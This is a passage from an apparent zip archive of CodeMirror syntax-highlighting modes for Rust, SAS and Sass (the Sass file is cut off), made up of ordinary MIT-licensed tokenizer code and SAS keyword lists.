PKJ��[Ay�PX	X	
codemirror/mode/rust/rust.min.jsnu�[���!(function(a){"object"==typeof
exports&&"object"==typeof
module?a(require("../../lib/codemirror"),require("../../addon/mode/simple")):"function"==typeof
define&&define.amd?define(["../../lib/codemirror","../../addon/mode/simple"],a):a(CodeMirror)})((function(a){"use
strict";a.defineSimpleMode("rust",{start:[{regex:/b?"/,token:"string",next:"string"},{regex:/b?r"/,token:"string",next:"string_raw"},{regex:/b?r#+"/,token:"string",next:"string_raw_hash"},{regex:/'(?:[^'\\]|\\(?:[nrt0'"]|x[\da-fA-F]{2}|u\{[\da-fA-F]{6}\}))'/,token:"string-2"},{regex:/b'(?:[^']|\\(?:['\\nrt0]|x[\da-fA-F]{2}))'/,token:"string-2"},{regex:/(?:(?:[0-9][0-9_]*)(?:(?:[Ee][+-]?[0-9_]+)|\.[0-9_]+(?:[Ee][+-]?[0-9_]+)?)(?:f32|f64)?)|(?:0(?:b[01_]+|(?:o[0-7_]+)|(?:x[0-9a-fA-F_]+))|(?:[0-9][0-9_]*))(?:u8|u16|u32|u64|i8|i16|i32|i64|isize|usize)?/,token:"number"},{regex:/(let(?:\s+mut)?|fn|enum|mod|struct|type|union)(\s+)([a-zA-Z_][a-zA-Z0-9_]*)/,token:["keyword",null,"def"]},{regex:/(?:abstract|alignof|as|async|await|box|break|continue|const|crate|do|dyn|else|enum|extern|fn|for|final|if|impl|in|loop|macro|match|mod|move|offsetof|override|priv|proc|pub|pure|ref|return|self|sizeof|static|struct|super|trait|type|typeof|union|unsafe|unsized|use|virtual|where|while|yield)\b/,token:"keyword"},{regex:/\b(?:Self|isize|usize|char|bool|u8|u16|u32|u64|f16|f32|f64|i8|i16|i32|i64|str|Option)\b/,token:"atom"},{regex:/\b(?:true|false|Some|None|Ok|Err)\b/,token:"builtin"},{regex:/\b(fn)(\s+)([a-zA-Z_][a-zA-Z0-9_]*)/,token:["keyword",null,"def"]},{regex:/#!?\[.*\]/,token:"meta"},{regex:/\/\/.*/,token:"comment"},{regex:/\/\*/,token:"comment",next:"comment"},{regex:/[-+\/*=<>!]+/,token:"operator"},{regex:/[a-zA-Z_]\w*!/,token:"variable-3"},{regex:/[a-zA-Z_]\w*/,token:"variable"},{regex:/[\{\[\(]/,indent:!0},{regex:/[\}\]\)]/,dedent:!0}],string:[{regex:/"/,token:"string",next:"start"},{regex:/(?:[^\\"]|\\(?:.|$))*/,token:"string"}],string_raw:[{regex:/"/,token:"string",next:"start"},{regex:/[^"]*/,token:"string"}],string_raw_hash:[{regex:/"#+/,token:"string",next:"start"},{regex:/(?:[^"]|"(?!#))*/,token:"string"}],comment:[{regex:/.*?\*\//,token:"comment",next:"start"},{regex:/.*/,token:"comment"}],meta:{dontIndentStates:["comment"],electricInput:/^\s*\}$/,blockCommentStart:"/*",blockCommentEnd:"*/",lineComment:"//",fold:"brace"}}),a.defineMIME("text/x-rustsrc","rust"),a.defineMIME("text/rust","rust")}));PKJ��[��΀`<`<codemirror/mode/sas/sas.jsnu�[���//
CodeMirror, copyright (c) by Marijn Haverbeke and others
// Distributed under an MIT license: https://codemirror.net/LICENSE


// SAS mode copyright (c) 2016 Jared Dean, SAS Institute
// Created by Jared Dean

// TODO
// indent and de-indent
// identify macro variables


//Definitions
//  comment -- text within * ; or /* */
//  keyword -- SAS language variable
//  variable -- macro variables starts with '&' or variable
formats
//  variable-2 -- DATA Step, proc, or macro names
//  string -- text within ' ' or " "
//  operator -- numeric operator + / - * ** le eq ge ... and so on
//  builtin -- proc %macro data run mend
//  atom
//  def

(function(mod) {
  if (typeof exports == "object" && typeof module ==
"object") // CommonJS
    mod(require("../../lib/codemirror"));
  else if (typeof define == "function" && define.amd) //
AMD
    define(["../../lib/codemirror"], mod);
  else // Plain browser env
    mod(CodeMirror);
})(function(CodeMirror) {
  "use strict";

  CodeMirror.defineMode("sas", function () {
    var words = {};
    var isDoubleOperatorSym = {
      eq: 'operator',
      lt: 'operator',
      le: 'operator',
      gt: 'operator',
      ge: 'operator',
      "in": 'operator',
      ne: 'operator',
      or: 'operator'
    };
    var isDoubleOperatorChar = /(<=|>=|!=|<>)/;
    var isSingleOperatorChar = /[=\(:\),{}.*<>+\-\/^\[\]]/;

    // Takes a string of words separated by spaces and adds them as
    // keys with the value of the first argument 'style'
    function define(style, string, context) {
      if (context) {
        var split = string.split(' ');
        for (var i = 0; i < split.length; i++) {
          words[split[i]] = {style: style, state: context};
        }
      }
    }
    //datastep
    define('def', 'stack pgm view source debug nesting
nolist', ['inDataStep']);
    define('def', 'if while until for do do; end end; then
else cancel', ['inDataStep']);
    define('def', 'label format _n_ _error_',
['inDataStep']);
    define('def', 'ALTER BUFNO BUFSIZE CNTLLEV COMPRESS
DLDMGACTION ENCRYPT ENCRYPTKEY EXTENDOBSCOUNTER GENMAX GENNUM INDEX LABEL
OBSBUF OUTREP PW PWREQ READ REPEMPTY REPLACE REUSE ROLE SORTEDBY SPILL
TOBSNO TYPE WRITE FILECLOSE FIRSTOBS IN OBS POINTOBS WHERE WHEREUP IDXNAME
IDXWHERE DROP KEEP RENAME', ['inDataStep']);
    define('def', 'filevar finfo finv fipname fipnamel
fipstate first firstobs floor', ['inDataStep']);
    define('def', 'varfmt varinfmt varlabel varlen varname
varnum varray varrayx vartype verify vformat vformatd vformatdx vformatn
vformatnx vformatw vformatwx vformatx vinarray vinarrayx vinformat
vinformatd vinformatdx vinformatn vinformatnx vinformatw vinformatwx
vinformatx vlabel vlabelx vlength vlengthx vname vnamex vnferr vtype vtypex
weekday', ['inDataStep']);
    define('def', 'zipfips zipname zipnamel zipstate',
['inDataStep']);
    define('def', 'put putc putn',
['inDataStep']);
    define('builtin', 'data run',
['inDataStep']);


    //proc
    define('def', 'data', ['inProc']);

    // flow control for macros
    define('def', '%if %end %end; %else %else; %do %do;
%then', ['inMacro']);

    //everywhere
    define('builtin', 'proc run; quit; libname filename
%macro %mend option options', ['ALL']);

    define('def', 'footnote title libname ods',
['ALL']);
    define('def', '%let %put %global %sysfunc %eval ',
['ALL']);
    // automatic macro variables
http://support.sas.com/documentation/cdl/en/mcrolref/61885/HTML/default/viewer.htm#a003167023.htm
    define('variable', '&sysbuffr &syscc
&syscharwidth &syscmd &sysdate &sysdate9 &sysday
&sysdevic &sysdmg &sysdsn &sysencoding &sysenv
&syserr &syserrortext &sysfilrc &syshostname &sysindex
&sysinfo &sysjobid &syslast &syslckrc &syslibrc
&syslogapplname &sysmacroname &sysmenv &sysmsg &sysncpu
&sysodspath &sysparm &syspbuff &sysprocessid
&sysprocessname &sysprocname &sysrc &sysscp &sysscpl
&sysscpl &syssite &sysstartid &sysstartname
&systcpiphostname &systime &sysuserid &sysver &sysvlong
&sysvlong4 &syswarningtext', ['ALL']);

    //footnote[1-9]? title[1-9]?

    //options statement
    define('def', 'source2 nosource2 page pageno
pagesize', ['ALL']);

    //proc and datastep
    define('def', '_all_ _character_ _cmd_ _freq_ _i_
_infile_ _last_ _msg_ _null_ _numeric_ _temporary_ _type_ abort abs addr
adjrsq airy alpha alter altlog altprint and arcos array arsin as atan attrc
attrib attrn authserver autoexec awscontrol awsdef awsmenu awsmenumerge
awstitle backward band base betainv between blocksize blshift bnot bor
brshift bufno bufsize bxor by byerr byline byte calculated call cards
cards4 catcache cbufno cdf ceil center cexist change chisq cinv class
cleanup close cnonct cntllev coalesce codegen col collate collin column
comamid comaux1 comaux2 comdef compbl compound compress config continue
convert cos cosh cpuid create cross crosstab css curobs cv daccdb daccdbsl
daccsl daccsyd dacctab dairy datalines datalines4 datejul datepart datetime
day dbcslang dbcstype dclose ddfm ddm delete delimiter depdb depdbsl depsl
depsyd deptab dequote descending descript design= device dflang dhms dif
digamma dim dinfo display distinct dkricond dkrocond dlm dnum do dopen
doptname doptnum dread drop dropnote dsname dsnferr echo else emaildlg
emailid emailpw emailserver emailsys encrypt end endsas engine eof eov erf
erfc error errorcheck errors exist exp fappend fclose fcol fdelete feedback
fetch fetchobs fexist fget file fileclose fileexist filefmt filename
fileref  fmterr fmtsearch fnonct fnote font fontalias  fopen foptname
foptnum force formatted formchar formdelim formdlim forward fpoint fpos
fput fread frewind frlen from fsep fuzz fwrite gaminv gamma getoption
getvarc getvarn go goto group gwindow hbar hbound helpenv helploc hms
honorappearance hosthelp hostprint hour hpct html hvar ibessel ibr id if
index indexc indexw initcmd initstmt inner input inputc inputn inr insert
int intck intnx into intrr invaliddata irr is jbessel join juldate keep
kentb kurtosis label lag last lbound leave left length levels lgamma lib 
library libref line linesize link list log log10 log2 logpdf logpmf logsdf
lostcard lowcase lrecl ls macro macrogen maps mautosource max maxdec maxr
mdy mean measures median memtype merge merror min minute missing missover
mlogic mod mode model modify month mopen mort mprint mrecall msglevel
msymtabmax mvarsize myy n nest netpv new news nmiss no nobatch nobs nocaps
nocardimage nocenter nocharcode nocmdmac nocol nocum nodate nodbcs
nodetails nodmr nodms nodmsbatch nodup nodupkey noduplicates noechoauto
noequals noerrorabend noexitwindows nofullstimer noicon noimplmac noint
nolist noloadlist nomiss nomlogic nomprint nomrecall nomsgcase nomstored
nomultenvappl nonotes nonumber noobs noovp nopad nopercent noprint
noprintinit normal norow norsasuser nosetinit  nosplash nosymbolgen note
notes notitle notitles notsorted noverbose noxsync noxwait npv null number
numkeys nummousekeys nway obs  on open     order ordinal otherwise out
outer outp= output over ovp p(1 5 10 25 50 75 90 95 99) pad pad2  paired
parm parmcards path pathdll pathname pdf peek peekc pfkey pmf point poisson
poke position printer probbeta probbnml probchi probf probgam probhypr
probit probnegb probnorm probsig probt procleave prt ps  pw pwreq qtr quote
r ranbin rancau random ranexp rangam range ranks rannor ranpoi rantbl
rantri ranuni rcorr read recfm register regr remote remove rename repeat
repeated replace resolve retain return reuse reverse rewind right round
rsquare rtf rtrace rtraceloc s s2 samploc sasautos sascontrol sasfrscr
sasmsg sasmstore sasscript sasuser saving scan sdf second select selection
separated seq serror set setcomm setot sign simple sin sinh siteinfo
skewness skip sle sls sortedby sortpgm sortseq sortsize soundex  spedis
splashlocation split spool sqrt start std stderr stdin stfips stimer stname
stnamel stop stopover sub subgroup subpopn substr sum sumwgt symbol
symbolgen symget symput sysget sysin sysleave sysmsg sysparm sysprint
sysprintfont sysprod sysrc system t table tables tan tanh tapeclose
tbufsize terminal test then timepart tinv  tnonct to today tol tooldef
totper transformout translate trantab tranwrd trigamma trim trimn trunc
truncover type unformatted uniform union until upcase update user usericon
uss validate value var  weight when where while wincharset window work
workinit workterm write wsum xsync xwait yearcutoff yes yyq  min max',
['inDataStep', 'inProc']);
    define('operator', 'and not ',
['inDataStep', 'inProc']);

    // Main function
    function tokenize(stream, state) {
      // Finally advance the stream
      var ch = stream.next();

      // BLOCKCOMMENT
      if (ch === '/' && stream.eat('*')) {
        state.continueComment = true;
        return "comment";
      } else if (state.continueComment === true) { // in comment block
        //comment ends at the beginning of the line
        if (ch === '*' && stream.peek() ===
'/') {
          stream.next();
          state.continueComment = false;
        } else if (stream.skipTo('*')) { //comment is potentially
later in line
          stream.skipTo('*');
          stream.next();
          if (stream.eat('/'))
            state.continueComment = false;
        } else {
          stream.skipToEnd();
        }
        return "comment";
      }

      if (ch == "*" && stream.column() ==
stream.indentation()) {
        stream.skipToEnd()
        return "comment"
      }

      // DoubleOperator match
      var doubleOperator = ch + stream.peek();

      if ((ch === '"' || ch === "'")
&& !state.continueString) {
        state.continueString = ch
        return "string"
      } else if (state.continueString) {
        if (state.continueString == ch) {
          state.continueString = null;
        } else if (stream.skipTo(state.continueString)) {
          // quote found on this line
          stream.next();
          state.continueString = null;
        } else {
          stream.skipToEnd();
        }
        return "string";
      } else if (state.continueString !== null && stream.eol()) {
        stream.skipTo(state.continueString) || stream.skipToEnd();
        return "string";
      } else if (/[\d\.]/.test(ch)) { //find numbers
        if (ch === ".")
          stream.match(/^[0-9]+([eE][\-+]?[0-9]+)?/);
        else if (ch === "0")
          stream.match(/^[xX][0-9a-fA-F]+/) || stream.match(/^0[0-7]+/);
        else
          stream.match(/^[0-9]*\.?[0-9]*([eE][\-+]?[0-9]+)?/);
        return "number";
      } else if (isDoubleOperatorChar.test(ch + stream.peek())) { // TWO
SYMBOL TOKENS
        stream.next();
        return "operator";
      } else if (isDoubleOperatorSym.hasOwnProperty(doubleOperator)) {
        stream.next();
        if (stream.peek() === ' ')
          return isDoubleOperatorSym[doubleOperator.toLowerCase()];
      } else if (isSingleOperatorChar.test(ch)) { // SINGLE SYMBOL TOKENS
        return "operator";
      }

      // Matches one whole word -- even if the word is a character
      var word;
      if (stream.match(/[%&;\w]+/, false) != null) {
        word = ch + stream.match(/[%&;\w]+/, true);
        if (/&/.test(word)) return 'variable'
      } else {
        word = ch;
      }
      // the word after DATA PROC or MACRO
      if (state.nextword) {
        stream.match(/[\w]+/);
        // match memname.libname
        if (stream.peek() === '.') stream.skipTo(' ');
        state.nextword = false;
        return 'variable-2';
      }

      word = word.toLowerCase()
      // Are we in a DATA Step?
      if (state.inDataStep) {
        if (word === 'run;' || stream.match(/run\s;/)) {
          state.inDataStep = false;
          return 'builtin';
        }
        // variable formats
        if ((word) && stream.next() === '.') {
          //either a format or libname.memname
          if (/\w/.test(stream.peek())) return 'variable-2';
          else return 'variable';
        }
        // do we have a DATA Step keyword
        if (word && words.hasOwnProperty(word) &&
            (words[word].state.indexOf("inDataStep") !== -1 ||
             words[word].state.indexOf("ALL") !== -1)) {
          //backup to the start of the word
          if (stream.start < stream.pos)
            stream.backUp(stream.pos - stream.start);
          //advance the length of the word and return
          for (var i = 0; i < word.length; ++i) stream.next();
          return words[word].style;
        }
      }
      // Are we in an Proc statement?
      if (state.inProc) {
        if (word === 'run;' || word === 'quit;') {
          state.inProc = false;
          return 'builtin';
        }
        // do we have a proc keyword
        if (word && words.hasOwnProperty(word) &&
            (words[word].state.indexOf("inProc") !== -1 ||
             words[word].state.indexOf("ALL") !== -1)) {
          stream.match(/[\w]+/);
          return words[word].style;
        }
      }
      // Are we in a Macro statement?
      if (state.inMacro) {
        if (word === '%mend') {
          if (stream.peek() === ';') stream.next();
          state.inMacro = false;
          return 'builtin';
        }
        if (word && words.hasOwnProperty(word) &&
            (words[word].state.indexOf("inMacro") !== -1 ||
             words[word].state.indexOf("ALL") !== -1)) {
          stream.match(/[\w]+/);
          return words[word].style;
        }

        return 'atom';
      }
      // Do we have Keywords specific words?
      if (word && words.hasOwnProperty(word)) {
        // Negates the initial next()
        stream.backUp(1);
        // Actually move the stream
        stream.match(/[\w]+/);
        if (word === 'data' && /=/.test(stream.peek())
=== false) {
          state.inDataStep = true;
          state.nextword = true;
          return 'builtin';
        }
        if (word === 'proc') {
          state.inProc = true;
          state.nextword = true;
          return 'builtin';
        }
        if (word === '%macro') {
          state.inMacro = true;
          state.nextword = true;
          return 'builtin';
        }
        if (/title[1-9]/.test(word)) return 'def';

        if (word === 'footnote') {
          stream.eat(/[1-9]/);
          return 'def';
        }

        // Returns their value as state in the prior define methods
        if (state.inDataStep === true &&
words[word].state.indexOf("inDataStep") !== -1)
          return words[word].style;
        if (state.inProc === true &&
words[word].state.indexOf("inProc") !== -1)
          return words[word].style;
        if (state.inMacro === true &&
words[word].state.indexOf("inMacro") !== -1)
          return words[word].style;
        if (words[word].state.indexOf("ALL") !== -1)
          return words[word].style;
        return null;
      }
      // Unrecognized syntax
      return null;
    }

    return {
      startState: function () {
        return {
          inDataStep: false,
          inProc: false,
          inMacro: false,
          nextword: false,
          continueString: null,
          continueComment: false
        };
      },
      token: function (stream, state) {
        // Strip the spaces, but regex will account for them either way
        if (stream.eatSpace()) return null;
        // Go through the main process
        return tokenize(stream, state);
      },

      blockCommentStart: "/*",
      blockCommentEnd: "*/"
    };

  });

  CodeMirror.defineMIME("text/x-sas", "sas");
});
PKJ��[�x��l%l%codemirror/mode/sas/sas.min.jsnu�[���!(function(a){"object"==typeof
exports&&"object"==typeof
module?a(require("../../lib/codemirror")):"function"==typeof
define&&define.amd?define(["../../lib/codemirror"],a):a(CodeMirror)})((function(a){"use
strict";a.defineMode("sas",(function(){function
a(a,b,d){if(d)for(var e=b.split("
"),f=0;f<e.length;f++)c[e[f]]={style:a,state:d}}function b(a,b){var
g=a.next();if("/"===g&&a.eat("*"))return
b.continueComment=!0,"comment";if(!0===b.continueComment)return"*"===g&&"/"===a.peek()?(a.next(),b.continueComment=!1):a.skipTo("*")?(a.skipTo("*"),a.next(),a.eat("/")&&(b.continueComment=!1)):a.skipToEnd(),"comment";if("*"==g&&a.column()==a.indentation())return
a.skipToEnd(),"comment";var
h=g+a.peek();if(!('"'!==g&&"'"!==g||b.continueString))return
b.continueString=g,"string";if(b.continueString)return
b.continueString==g?b.continueString=null:a.skipTo(b.continueString)?(a.next(),b.continueString=null):a.skipToEnd(),"string";if(null!==b.continueString&&a.eol())return
a.skipTo(b.continueString)||a.skipToEnd(),"string";if(/[\d\.]/.test(g))return"."===g?a.match(/^[0-9]+([eE][\-+]?[0-9]+)?/):"0"===g?a.match(/^[xX][0-9a-fA-F]+/)||a.match(/^0[0-7]+/):a.match(/^[0-9]*\.?[0-9]*([eE][\-+]?[0-9]+)?/),"number";if(e.test(g+a.peek()))return
a.next(),"operator";if(d.hasOwnProperty(h)){if(a.next(),"
"===a.peek())return d[h.toLowerCase()]}else
if(f.test(g))return"operator";var
i;if(null!=a.match(/[%&;\w]+/,!1)){if(i=g+a.match(/[%&;\w]+/,!0),/&/.test(i))return"variable"}else
i=g;if(b.nextword)return
a.match(/[\w]+/),"."===a.peek()&&a.skipTo("
"),b.nextword=!1,"variable-2";if(i=i.toLowerCase(),b.inDataStep){if("run;"===i||a.match(/run\s;/))return
b.inDataStep=!1,"builtin";if(i&&"."===a.next())return/\w/.test(a.peek())?"variable-2":"variable";if(i&&c.hasOwnProperty(i)&&(-1!==c[i].state.indexOf("inDataStep")||-1!==c[i].state.indexOf("ALL"))){a.start<a.pos&&a.backUp(a.pos-a.start);for(var
j=0;j<i.length;++j)a.next();return
c[i].style}}if(b.inProc){if("run;"===i||"quit;"===i)return
b.inProc=!1,"builtin";if(i&&c.hasOwnProperty(i)&&(-1!==c[i].state.indexOf("inProc")||-1!==c[i].state.indexOf("ALL")))return
a.match(/[\w]+/),c[i].style}return
b.inMacro?"%mend"===i?(";"===a.peek()&&a.next(),b.inMacro=!1,"builtin"):i&&c.hasOwnProperty(i)&&(-1!==c[i].state.indexOf("inMacro")||-1!==c[i].state.indexOf("ALL"))?(a.match(/[\w]+/),c[i].style):"atom":i&&c.hasOwnProperty(i)?(a.backUp(1),a.match(/[\w]+/),"data"===i&&!1===/=/.test(a.peek())?(b.inDataStep=!0,b.nextword=!0,"builtin"):"proc"===i?(b.inProc=!0,b.nextword=!0,"builtin"):"%macro"===i?(b.inMacro=!0,b.nextword=!0,"builtin"):/title[1-9]/.test(i)?"def":"footnote"===i?(a.eat(/[1-9]/),"def"):!0===b.inDataStep&&-1!==c[i].state.indexOf("inDataStep")?c[i].style:!0===b.inProc&&-1!==c[i].state.indexOf("inProc")?c[i].style:!0===b.inMacro&&-1!==c[i].state.indexOf("inMacro")?c[i].style:-1!==c[i].state.indexOf("ALL")?c[i].style:null):null}var
c={},d={eq:"operator",lt:"operator",le:"operator",gt:"operator",ge:"operator",in:"operator",ne:"operator",or:"operator"},e=/(<=|>=|!=|<>)/,f=/[=\(:\),{}.*<>+\-\/^\[\]]/;return
a("def","stack pgm view source debug nesting
nolist",["inDataStep"]),a("def","if while
until for do do; end end; then else
cancel",["inDataStep"]),a("def","label format
_n_ _error_",["inDataStep"]),a("def","ALTER
BUFNO BUFSIZE CNTLLEV COMPRESS DLDMGACTION ENCRYPT ENCRYPTKEY
EXTENDOBSCOUNTER GENMAX GENNUM INDEX LABEL OBSBUF OUTREP PW PWREQ READ
REPEMPTY REPLACE REUSE ROLE SORTEDBY SPILL TOBSNO TYPE WRITE FILECLOSE
FIRSTOBS IN OBS POINTOBS WHERE WHEREUP IDXNAME IDXWHERE DROP KEEP
RENAME",["inDataStep"]),a("def","filevar
finfo finv fipname fipnamel fipstate first firstobs
floor",["inDataStep"]),a("def","varfmt
varinfmt varlabel varlen varname varnum varray varrayx vartype verify
vformat vformatd vformatdx vformatn vformatnx vformatw vformatwx vformatx
vinarray vinarrayx vinformat vinformatd vinformatdx vinformatn vinformatnx
vinformatw vinformatwx vinformatx vlabel vlabelx vlength vlengthx vname
vnamex vnferr vtype vtypex
weekday",["inDataStep"]),a("def","zipfips
zipname zipnamel
zipstate",["inDataStep"]),a("def","put putc
putn",["inDataStep"]),a("builtin","data
run",["inDataStep"]),a("def","data",["inProc"]),a("def","%if
%end %end; %else %else; %do %do;
%then",["inMacro"]),a("builtin","proc run;
quit; libname filename %macro %mend option
options",["ALL"]),a("def","footnote title
libname ods",["ALL"]),a("def","%let %put
%global %sysfunc %eval
",["ALL"]),a("variable","&sysbuffr
&syscc &syscharwidth &syscmd &sysdate &sysdate9
&sysday &sysdevic &sysdmg &sysdsn &sysencoding
&sysenv &syserr &syserrortext &sysfilrc &syshostname
&sysindex &sysinfo &sysjobid &syslast &syslckrc
&syslibrc &syslogapplname &sysmacroname &sysmenv
&sysmsg &sysncpu &sysodspath &sysparm &syspbuff
&sysprocessid &sysprocessname &sysprocname &sysrc
&sysscp &sysscpl &sysscpl &syssite &sysstartid
&sysstartname &systcpiphostname &systime &sysuserid
&sysver &sysvlong &sysvlong4
&syswarningtext",["ALL"]),a("def","source2
nosource2 page pageno
pagesize",["ALL"]),a("def","_all_ _character_
_cmd_ _freq_ _i_ _infile_ _last_ _msg_ _null_ _numeric_ _temporary_ _type_
abort abs addr adjrsq airy alpha alter altlog altprint and arcos array
arsin as atan attrc attrib attrn authserver autoexec awscontrol awsdef
awsmenu awsmenumerge awstitle backward band base betainv between blocksize
blshift bnot bor brshift bufno bufsize bxor by byerr byline byte calculated
call cards cards4 catcache cbufno cdf ceil center cexist change chisq cinv
class cleanup close cnonct cntllev coalesce codegen col collate collin
column comamid comaux1 comaux2 comdef compbl compound compress config
continue convert cos cosh cpuid create cross crosstab css curobs cv daccdb
daccdbsl daccsl daccsyd dacctab dairy datalines datalines4 datejul datepart
datetime day dbcslang dbcstype dclose ddfm ddm delete delimiter depdb
depdbsl depsl depsyd deptab dequote descending descript design= device
dflang dhms dif digamma dim dinfo display distinct dkricond dkrocond dlm
dnum do dopen doptname doptnum dread drop dropnote dsname dsnferr echo else
emaildlg emailid emailpw emailserver emailsys encrypt end endsas engine eof
eov erf erfc error errorcheck errors exist exp fappend fclose fcol fdelete
feedback fetch fetchobs fexist fget file fileclose fileexist filefmt
filename fileref  fmterr fmtsearch fnonct fnote font fontalias  fopen
foptname foptnum force formatted formchar formdelim formdlim forward fpoint
fpos fput fread frewind frlen from fsep fuzz fwrite gaminv gamma getoption
getvarc getvarn go goto group gwindow hbar hbound helpenv helploc hms
honorappearance hosthelp hostprint hour hpct html hvar ibessel ibr id if
index indexc indexw initcmd initstmt inner input inputc inputn inr insert
int intck intnx into intrr invaliddata irr is jbessel join juldate keep
kentb kurtosis label lag last lbound leave left length levels lgamma lib 
library libref line linesize link list log log10 log2 logpdf logpmf logsdf
lostcard lowcase lrecl ls macro macrogen maps mautosource max maxdec maxr
mdy mean measures median memtype merge merror min minute missing missover
mlogic mod mode model modify month mopen mort mprint mrecall msglevel
msymtabmax mvarsize myy n nest netpv new news nmiss no nobatch nobs nocaps
nocardimage nocenter nocharcode nocmdmac nocol nocum nodate nodbcs
nodetails nodmr nodms nodmsbatch nodup nodupkey noduplicates noechoauto
noequals noerrorabend noexitwindows nofullstimer noicon noimplmac noint
nolist noloadlist nomiss nomlogic nomprint nomrecall nomsgcase nomstored
nomultenvappl nonotes nonumber noobs noovp nopad nopercent noprint
noprintinit normal norow norsasuser nosetinit  nosplash nosymbolgen note
notes notitle notitles notsorted noverbose noxsync noxwait npv null number
numkeys nummousekeys nway obs  on open     order ordinal otherwise out
outer outp= output over ovp p(1 5 10 25 50 75 90 95 99) pad pad2  paired
parm parmcards path pathdll pathname pdf peek peekc pfkey pmf point poisson
poke position printer probbeta probbnml probchi probf probgam probhypr
probit probnegb probnorm probsig probt procleave prt ps  pw pwreq qtr quote
r ranbin rancau random ranexp rangam range ranks rannor ranpoi rantbl
rantri ranuni rcorr read recfm register regr remote remove rename repeat
repeated replace resolve retain return reuse reverse rewind right round
rsquare rtf rtrace rtraceloc s s2 samploc sasautos sascontrol sasfrscr
sasmsg sasmstore sasscript sasuser saving scan sdf second select selection
separated seq serror set setcomm setot sign simple sin sinh siteinfo
skewness skip sle sls sortedby sortpgm sortseq sortsize soundex  spedis
splashlocation split spool sqrt start std stderr stdin stfips stimer stname
stnamel stop stopover sub subgroup subpopn substr sum sumwgt symbol
symbolgen symget symput sysget sysin sysleave sysmsg sysparm sysprint
sysprintfont sysprod sysrc system t table tables tan tanh tapeclose
tbufsize terminal test then timepart tinv  tnonct to today tol tooldef
totper transformout translate trantab tranwrd trigamma trim trimn trunc
truncover type unformatted uniform union until upcase update user usericon
uss validate value var  weight when where while wincharset window work
workinit workterm write wsum xsync xwait yearcutoff yes yyq  min
max",["inDataStep","inProc"]),a("operator","and
not
",["inDataStep","inProc"]),{startState:function(){return{inDataStep:!1,inProc:!1,inMacro:!1,nextword:!1,continueString:null,continueComment:!1}},token:function(a,c){return
a.eatSpace()?null:b(a,c)},blockCommentStart:"/*",blockCommentEnd:"*/"}})),a.defineMIME("text/x-sas","sas")}));PKJ��[��y#�,�,codemirror/mode/sass/sass.jsnu�[���//
CodeMirror, copyright (c) by Marijn Haverbeke and others
// Distributed under an MIT license: https://codemirror.net/LICENSE

(function(mod) {
  if (typeof exports == "object" && typeof module ==
"object") // CommonJS
    mod(require("../../lib/codemirror"),
require("../css/css"));
  else if (typeof define == "function" && define.amd) //
AMD
    define(["../../lib/codemirror", "../css/css"],
mod);
  else // Plain browser env
    mod(CodeMirror);
})(function(CodeMirror) {
"use strict";

CodeMirror.defineMode("sass", function(config) {
  var cssMode = CodeMirror.mimeModes["text/css"];
  var propertyKeywords = cssMode.propertyKeywords || {},
      colorKeywords = cssMode.colorKeywords || {},
      valueKeywords = cssMode.valueKeywords || {},
      fontProperties = cssMode.fontProperties || {};

  function tokenRegexp(words) {
    return new RegExp("^" + words.join("|"));
  }

  var keywords = ["true", "false", "null",
"auto"];
  var keywordsRegexp = new RegExp("^" +
keywords.join("|"));

  var operators = ["\\(", "\\)", "=",
">", "<", "==", ">=",
"<=", "\\+", "-",
                   "\\!=", "/", "\\*",
"%", "and", "or", "not",
";","\\{","\\}",":"];
  var opRegexp = tokenRegexp(operators);

  var pseudoElementsRegexp = /^::?[a-zA-Z_][\w\-]*/;

  var word;

  function isEndLine(stream) {
    return !stream.peek() || stream.match(/\s+$/, false);
  }

  function urlTokens(stream, state) {
    var ch = stream.peek();

    if (ch === ")") {
      stream.next();
      state.tokenizer = tokenBase;
      return "operator";
    } else if (ch === "(") {
      stream.next();
      stream.eatSpace();

      return "operator";
    } else if (ch === "'" || ch === '"') {
      state.tokenizer = buildStringTokenizer(stream.next());
      return "string";
    } else {
      state.tokenizer = buildStringTokenizer(")", false);
      return "string";
    }
  }
  function comment(indentation, multiLine) {
    return function(stream, state) {
      if (stream.sol() && stream.indentation() <= indentation) {
        state.tokenizer = tokenBase;
        return tokenBase(stream, state);
      }

      if (multiLine && stream.skipTo("*/")) {
        stream.next();
        stream.next();
        state.tokenizer = tokenBase;
      } else {
        stream.skipToEnd();
      }

      return "comment";
    };
  }

  function buildStringTokenizer(quote, greedy) {
    if (greedy == null) { greedy = true; }

    function stringTokenizer(stream, state) {
      var nextChar = stream.next();
      var peekChar = stream.peek();
      var previousChar = stream.string.charAt(stream.pos-2);

      var endingString = ((nextChar !== "\\" && peekChar
=== quote) || (nextChar === quote && previousChar !==
"\\"));

      if (endingString) {
        if (nextChar !== quote && greedy) { stream.next(); }
        if (isEndLine(stream)) {
          state.cursorHalf = 0;
        }
        state.tokenizer = tokenBase;
        return "string";
      } else if (nextChar === "#" && peekChar ===
"{") {
        state.tokenizer = buildInterpolationTokenizer(stringTokenizer);
        stream.next();
        return "operator";
      } else {
        return "string";
      }
    }

    return stringTokenizer;
  }

  function buildInterpolationTokenizer(currentTokenizer) {
    return function(stream, state) {
      if (stream.peek() === "}") {
        stream.next();
        state.tokenizer = currentTokenizer;
        return "operator";
      } else {
        return tokenBase(stream, state);
      }
    };
  }

  function indent(state) {
    if (state.indentCount == 0) {
      state.indentCount++;
      var lastScopeOffset = state.scopes[0].offset;
      var currentOffset = lastScopeOffset + config.indentUnit;
      state.scopes.unshift({ offset:currentOffset });
    }
  }

  function dedent(state) {
    if (state.scopes.length == 1) return;

    state.scopes.shift();
  }

  function tokenBase(stream, state) {
    var ch = stream.peek();

    // Comment
    if (stream.match("/*")) {
      state.tokenizer = comment(stream.indentation(), true);
      return state.tokenizer(stream, state);
    }
    if (stream.match("//")) {
      state.tokenizer = comment(stream.indentation(), false);
      return state.tokenizer(stream, state);
    }

    // Interpolation
    if (stream.match("#{")) {
      state.tokenizer = buildInterpolationTokenizer(tokenBase);
      return "operator";
    }

    // Strings
    if (ch === '"' || ch === "'") {
      stream.next();
      state.tokenizer = buildStringTokenizer(ch);
      return "string";
    }

    if(!state.cursorHalf){// state.cursorHalf === 0
    // first half i.e. before : for key-value pairs
    // including selectors

      if (ch === "-") {
        if (stream.match(/^-\w+-/)) {
          return "meta";
        }
      }

      if (ch === ".") {
        stream.next();
        if (stream.match(/^[\w-]+/)) {
          indent(state);
          return "qualifier";
        } else if (stream.peek() === "#") {
          indent(state);
          return "tag";
        }
      }

      if (ch === "#") {
        stream.next();
        // ID selectors
        if (stream.match(/^[\w-]+/)) {
          indent(state);
